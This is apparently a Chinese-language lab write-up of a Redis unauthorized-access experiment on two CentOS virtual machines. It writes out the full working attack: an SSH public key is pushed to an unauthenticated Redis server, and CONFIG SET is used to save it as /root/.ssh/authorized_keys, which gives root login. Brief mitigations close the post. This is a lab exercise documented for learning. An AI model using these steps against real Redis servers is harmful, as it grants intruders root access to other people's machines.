Linux环境---实验四--Redis的未授权访问实验记录

实验三---redis的未授权访问

实验配置设备要求

1.2台centos虚拟机,并都装载了Redis服务器

Redis未授权访问 前景提要:

一台redis服务器安装好后是不允许进行远程访问的,受保护模式是开启的,并直默认没有认证密码,启动redis服务器默认使用的是当前用户启动的(root用户)

假如允许redis服务器可以远程访问

etc/redis/6379.conf/  #需要对对应的配置文件进行修改

前提:

1.服务器关闭了保护模式允许了远程登录

2.服务器允许 了秘钥登录的方式,理论上来说服务器具有了.ssh的文件就具有这种登录的可能

实验中的目标主机本身没有.ssh的文件夹为了需要零时创建了一个.ssh的文件夹

Linux环境---实验四--Redis的未授权访问实验记录_第1张图片

客户机操作

(1)ssh-keygen -t rsa                    #生成秘钥对,输入命令后一路回车,这样设置出来的秘钥对没有密码要求

(2)秘钥和公钥的位置默认在上图中,将公钥写入到txt文件内

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

#命令解释  echo -e (-e是指代激活转译字符,防止命令被当成自字符输出)

                   ""\n\n"" 代表2次换行,换行是为了防止乱码

Linux环境---实验四--Redis的未授权访问实验记录_第2张图片

(3)cat ~/.ssh/key.txt | redis-cli -h 192.168.66.135 -p 6399 -x set xxx

#### -x 选项意思是将前面cat查看的命令作为 后面命令set执行的基础(从标准输入读取数据作为该命令的最后一个参数)

(4)如下图所示

Linux环境---实验四--Redis的未授权访问实验记录_第3张图片

192.168.66.135:6399> CONFIG GET dir                              #查询Redis 默认文件存放路径

1) "dir"

2) "/var/lib/redis/6379"

192.168.66.135:6399> CONFIG SET dir /root/.ssh/           #修改默认存放路径为root/.ssh下                 

OK

192.168.66.135:6399> CONFIG GET dbfilename                 #查看Redis默认保存的文件名

1) "dbfilename"

2) "dump.rdb"

192.168.66.135:6399> CONFIG SET dbfilename authorized_keys         #将默认文件名设置为key的默认个名字authorized_keys

OK

192.168.66.135:6399> CONFIG GET dbfilename

1) "dbfilename"

2) "authorized_keys"

192.168.66.135:6399>save                                                     #修改完毕保存下

测试可以直接使用目标主机的root账户登录

#################################################

总结

1.该实验需要一些先天条件.服务器要有.ssh的目录

2.习惯用root用户登录

3.要能登录的了Redis用户

防备逻辑

1.禁用服务器的root用户,使用其他低权限用户

2.禁用confing命令,只给set 、get权限命令

3.给出区域让他只能去修改Redis服务器上的配置文件

4.设置Redis远程账号密码

(ps:本次实验记录的Redis服务器的安装及使用前的设置,仍然存在着一些问题但勉强能使,头疼,总之欢迎小伙伴和大手子来讨论,另外Redis的安装又需要的小伙伴可以参考我Linux实验三)

你可能感兴趣的:(redis,linux,服务器,数据库,网络安全)